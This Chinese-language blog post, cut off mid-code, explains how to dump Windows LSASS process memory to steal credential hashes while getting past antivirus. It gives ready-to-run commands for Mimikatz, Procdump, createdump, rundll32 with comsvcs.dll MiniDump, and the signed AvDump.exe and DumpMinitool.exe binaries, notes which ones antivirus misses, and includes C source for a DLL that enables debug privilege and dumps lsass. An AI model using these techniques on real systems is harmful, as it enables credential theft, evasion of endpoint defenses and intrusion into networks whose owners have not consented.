dumphash bypass殺軟的多種方式
阿新 • • 發佈:2022-04-19
前言
獲取Windows使用者的憑證資訊是滲透過程中至關重要的一步。
沒殺軟,只要有許可權想怎麼讀就怎麼讀。
有殺軟,得用一些特別的技巧。
注:本機所有測試均為物理機,且為最新版AV
Mimikatz直接讀取Lsass程序
許可權提升
privilege::debug
抓取密碼
sekurlsa::logonpasswords
但如果此時目標機器上有AV,必定將被攔截
此時mimikatz必須免殺。
一般來說,目標機器有殺軟的存在,更傾向於離線解析密碼。
白名單檔案dump
首先說三個微軟簽名的白名單程式
- Procdump.exe
- SQLDumper.exe
- createdump.exe
Procdump.exe(no)
儘管procdump擁有微軟簽名,但大部分AV廠商對此並不買賬。
procdump.exe -ma lsass.exe 1.txt
SQLDumper.exe也是一樣的
createdump.exe(no)
createdump.exe隨著.NET5出現的,本身是個native binary
雖然有簽名同樣遭到AV查殺
createdump.exe -u -f lsass.dmp lsass[PID]
Rundll32.exe(no)
使用rundll32直接執行comsvcs.dll的匯出函式
MiniDump
來Dump程序記憶體
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id Desktop\lsass-comsvcs.dmp full
同樣被查殺
avdump.exe(yes)
AvDump.exe
是Avast
防毒軟體中自帶的一個程式,可用於轉儲指定程序(lsass.exe)記憶體資料,它帶有Avast殺軟數字簽名。
預設路徑為:
C:\Program Files\Avast Software\Avast
AvDump.exe --pid 980 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp
成功dump並解密,全程數字殺軟無感。
DumpMinitool.exe(yes)
此exe為近日mr.d0x
的某推上分享了的一個LOLBIN,通過vs2022裡的DumpMinitool.exe
lsass
程序。
路徑為:
C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions
數字殺軟全程無感
DumpMinitool.exe --file 1.txt --processId 980 --dumpType Full
其他方式
SilentProcessExit進行Dump(no)
具體原理參考文章:利用SilentProcessExit機制dump記憶體
Silent Process Exit,即靜默退出。而這種除錯技術,可以派生 werfault.exe程序,可以用來執行任意程式或者也可以用來轉存任意程序的記憶體檔案或彈出視窗。
但該方式需要修改登錄檔,修改登錄檔操作將會被查殺。
編寫Dump Lsass的DLL(yes)
- 獲取Debug許可權
- 找到lsass的PID
- 使用MiniDump或MiniDumpWriteDump進行記憶體dump
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);
int GetLsassPid() {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(hSnapshot, &entry)) {
while (Process32Next(hSnapshot, &entry)) {
if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
return entry.th32ProcessID;
}
}
}
CloseHandle(hSnapshot);
return 0;
}
void GetDebugPrivilege()
{
BOOL fOk = FALSE;
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
}
void DumpLsass()
{
wchar_t ws[100];
_MiniDumpW MiniDumpW;
MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full");
GetDebugPrivilege();
MiniDumpW(0